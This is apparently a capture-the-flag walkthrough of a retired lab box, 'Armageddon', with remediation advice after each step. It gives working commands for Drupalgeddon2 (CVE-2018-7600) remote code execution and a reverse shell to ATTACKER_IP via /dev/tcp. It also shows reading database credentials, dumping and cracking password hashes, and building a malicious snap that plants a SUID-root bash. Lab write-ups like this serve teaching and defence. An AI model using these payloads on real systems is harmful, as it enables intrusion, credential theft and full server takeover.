← all walkthroughs

Armageddon

Linux· Easy· Web
owned
2026-07-06
time to own
8m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target web server hosted an unpatched Drupal 7 CMS susceptible to CVE-2018-7600 (Drupalgeddon2), which let me execute operating-system commands without any credentials whatsoever. Through that foothold as the Apache web service account, I read the Drupal configuration file — which stores the database password in plain text — and queried the local MySQL database to extract the site administrator's password hash.

The hash cracked in seconds: the administrator had chosen the trivially guessable password '[REDACTED: recovered credential]' and reused it as their Linux system account password, giving me immediate SSH access and the user flag. Finally, a dangerously broad sudo rule allowed that user account to install Snap packages as root with no password; I crafted a malicious Snap whose install hook copied a SUID-root Bash binary, achieving full root control of the server.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and CMS version fingerprinting (T1592, T1595)
Identified exposed services and confirmed an unpatched Drupal 7 installation
A service scan of $TARGET revealed SSH on port 22 (OpenSSH 7.4) and Apache 2.4.6 on port 80 running PHP 5.4.16 on CentOS — all end-of-life software versions. The web application was immediately recognized as Drupal 7, and the publicly readable CHANGELOG.txt file confirmed it was running an unpatched release known to be vulnerable to the Drupalgeddon2 exploit.
Nmap returned 'Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)'; CHANGELOG.txt confirmed an unpatched Drupal 7 release.
Exact commands 2
Enumerate running services and their software versions.
nmap -Pn -sV -p 22,80 $TARGET
Confirm the Drupal version without authentication — CHANGELOG.txt is world-readable by default in Drupal 7.
curl -s http://$TARGET/CHANGELOG.txt | head -10
2ExploitationUnauthenticated RCE via Drupal Form API callback injection — CVE-2018-7600 (Drupalgeddon2)
Gained remote code execution as the 'apache' service account via Drupalgeddon2
CVE-2018-7600 (Drupalgeddon2) is an unauthenticated remote code execution flaw in Drupal 7's form-rendering API. By injecting a PHP callback name ('passthru') into a specially crafted POST parameter of the publicly accessible password-reset form, I caused the Drupal server to execute arbitrary shell commands before returning its response. The initial command confirmed execution as the Apache web process (uid=48, apache), after which a reverse shell was caught for interactive access.
Apache uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0 armageddon.htb
Exact commands 3
curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami%3Bid" --data 'form_id=user_pass&_triggering_element_name=name'
Start a reverse-shell listener on my machine before sending the shell payload.
nc -lvnp 4444
Trigger a reverse shell connecting back to the listener; replace $ATTACKER_IP with your machine's address.
curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2FATTACKER_IP%2F4444+0%3E%261%27" --data 'form_id=user_pass&_triggering_element_name=name'
FixPatch Drupal immediately to close the Drupalgeddon2 remote code execution vulnerabilityCritical
WeaknessThe Drupal 7 installation was running an unpatched version vulnerable to CVE-2018-7600. Any unauthenticated visitor on the internet could inject PHP callbacks into the form-rendering API and execute arbitrary commands on the server — no account, no brute-force, no user interaction required. This single flaw gave an unauthorised user a server-side shell and access to every file the web service can read.
FixUpgrade Drupal core to version 7.58 or later (the patch was released in March 2018 — this server is years overdue). If an immediate upgrade is impossible, apply the emergency mitigation from SA-CORE-2018-002: block unauthenticated POST requests to /user/password and /user/register at the Apache or firewall layer. Longer term, evaluate whether Drupal 7 (now end-of-life) should be migrated to Drupal 10/11 or replaced. Establish a patch-management policy that applies CMS security releases within 48 hours of a public advisory.
3Credential TheftPlaintext credential exposure in configuration file (T1552.001) and local database query
Read the Drupal database password from settings.php and queried MySQL directly
The Apache shell had file-read access to the entire Drupal web root. The configuration file sites/default/settings.php stores the database connection parameters in plain text as a PHP array. Reading it through the same RCE primitive revealed the MySQL credentials drupaluser / [REDACTED: recovered credential]. I connected directly to the local MySQL instance with those credentials and queried the Drupal 'users' table, retrieving the site administrator row — including the SHA-512-based Drupal7 password hash for brucetherealadmin.
Mysql query returned row: 0 1 brucetherealadmin [REDACTED: password hash]
Exact commands 2
Read settings.php through the RCE primitive — reveals the drupaluser database credentials in plain text.
curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=cat+/var/www/html/sites/default/settings.php" --data 'form_id=user_pass&_triggering_element_name=name'
From the apache reverse shell: authenticate to the local MySQL instance and dump the Drupal user password hashes.
mysql -u drupaluser -p'[REDACTED: recovered credential]' drupal -e 'SELECT uid, name, pass FROM users;'
4Credential CrackingOffline dictionary attack against Drupal7 password hash (T1110.002)
Cracked the administrator's Drupal password hash offline and recovered the plaintext '[REDACTED: recovered credential]'
The Drupal7 $S$ hash format applies SHA-512 with a per-user salt and multiple iterations, providing reasonable protection against cracking — but only if the underlying password is strong. I transferred the hash to their own machine and ran it against the RockYou common-password wordlist using John the Ripper. The password '[REDACTED: recovered credential]' appeared in the wordlist and the crack completed in seconds.
John the Ripper output: brucetherealadmin:[REDACTED: recovered credential] — 1 password hash cracked, 0 left
Exact commands 3
Save the captured Drupal7 hash to a local file on my machine.
echo '[REDACTED: password hash]' > drupal_hash.txt
Run John the Ripper against the hash using the RockYou wordlist.
john --wordlist=/usr/share/wordlists/rockyou.txt drupal_hash.txt
Display the cracked result: brucetherealadmin:[REDACTED: recovered credential].
john --show drupal_hash.txt
FixEnforce strong unique passwords and disable password-based SSH login for system accountsHigh
WeaknessThe site administrator chose '[REDACTED: recovered credential]' — a word that appears near the top of every common password list — as their Drupal account password, and then reused the identical password for their Linux SSH account. Once the hash was retrieved from the database it cracked in seconds, and the same credential immediately unlocked remote shell access. Password reuse across a public-facing application and an operating-system account is one of the most common and most damaging mistakes in access management.
FixRequire all Drupal user passwords to be at least 16 characters with complexity requirements, enforced by Drupal's Password Policy contrib module. Treat CMS passwords and OS account passwords as completely separate credential sets — never share them. For SSH, disable password authentication entirely in /etc/ssh/sshd_config (set 'PasswordAuthentication no') and require public-key authentication only. Where interactive logins must exist, enforce multi-factor authentication via PAM (e.g., google-authenticator-libpam).
5User AccessValid account access via password reuse across services (T1078.003)
Authenticated over SSH with the cracked password and captured the user flag
The administrator had reused the same password ('[REDACTED: recovered credential]') for both the Drupal CMS account and their Linux operating-system account. No additional exploitation was needed: I authenticated directly over SSH as brucetherealadmin and read the user flag from the home directory.
Sshpass -p '[REDACTED: recovered credential]' ssh brucetherealadmin@$TARGET produced an authenticated shell; user.txt read.
Exact commands 1
Log in with the cracked password — confirms brucetherealadmin identity and captures <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 brucetherealadmin@$TARGET 'whoami; id; cat /home/brucetherealadmin/user.txt'
6Privilege EscalationSudo abuse via unrestricted snap install with root-executed install hook (T1548.003 / GTFOBins:snap)
Installed a malicious Snap package via unrestricted sudo to execute code as root and capture root flag
Listing the user's sudo privileges revealed that brucetherealadmin could run 'sudo snap install' on any .snap file with no password required. Snap install hooks are shell scripts that run as root during package installation. I built a minimal devmode Snap package containing an install hook that copied /bin/bash to the user's home directory with the SUID bit set (chmod 4755). Installing the Snap with sudo triggered the hook as root; the resulting SUID binary was then executed with '-p' to retain root privileges, and the root flag was read.
Mktemp workdir → snap.yaml (name: armroot3, confinement: devmode) → install hook copies /bin/bash as SUID 4755 → sudo snap install --devmode → rootbash -p → euid=0, root.txt read.
Exact commands 7
Confirm the dangerous rule: (root) NOPASSWD: /usr/bin/snap install
sudo -l
Create a temporary working directory for the malicious snap structure.
work=$(mktemp -d) && mkdir -p "$work/snap/meta/hooks"
Write the snap manifest — devmode confinement bypasses snap security policies.
cat > "$work/snap/meta/snap.yaml" <<'EOF'
name: armroot3
version: '1.0'
summary: armroot3
description: armroot3
grade: devel
confinement: devmode
EOF
Write the install hook — this script will run as root and plant a SUID bash copy.
printf '#!/bin/sh\ncp /bin/bash /home/brucetherealadmin/rootbash\nchmod 4755 /home/brucetherealadmin/rootbash\n' > "$work/snap/meta/hooks/install" && chmod +x "$work/snap/meta/hooks/install"
Package the snap directory into a squashfs-based .snap archive.
cd "$work" && mksquashfs snap armroot3_1.0_all.snap -noappend -comp xz
Install the malicious snap as root — triggers the install hook and creates the SUID binary.
sudo snap install --devmode "$work/armroot3_1.0_all.snap"
Execute the SUID bash with -p to retain effective-root privileges; captures <root.txt>.
/home/brucetherealadmin/rootbash -p -c 'id; cat /root/root.txt'
FixRemove the unrestricted 'sudo snap install' privilege from all non-root accountsCritical
Weaknessbrucetherealadmin was granted the ability to run 'sudo snap install' on any snap file with no password required. Because a snap's install hook runs as root, anyone holding this sudo entry can trivially escalate to root by supplying a hand-crafted snap — making this permission functionally equivalent to handing the user unconditional root access. This is a well-documented GTFOBins escalation path.
FixImmediately delete or comment out the snap install sudo entry in /etc/sudoers and every file under /etc/sudoers.d/. Run 'sudo -l' for every non-root account and audit all rules: remove or tightly restrict any entry granting package managers, scripting interpreters, text editors, file-copy utilities, or network tools (see GTFOBins for the full list of abusable binaries). If delegating software installation is a genuine operational requirement, use a configuration-management platform such as Ansible with a tightly controlled, version-pinned package allowlist and a separate approval workflow rather than open sudo access.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp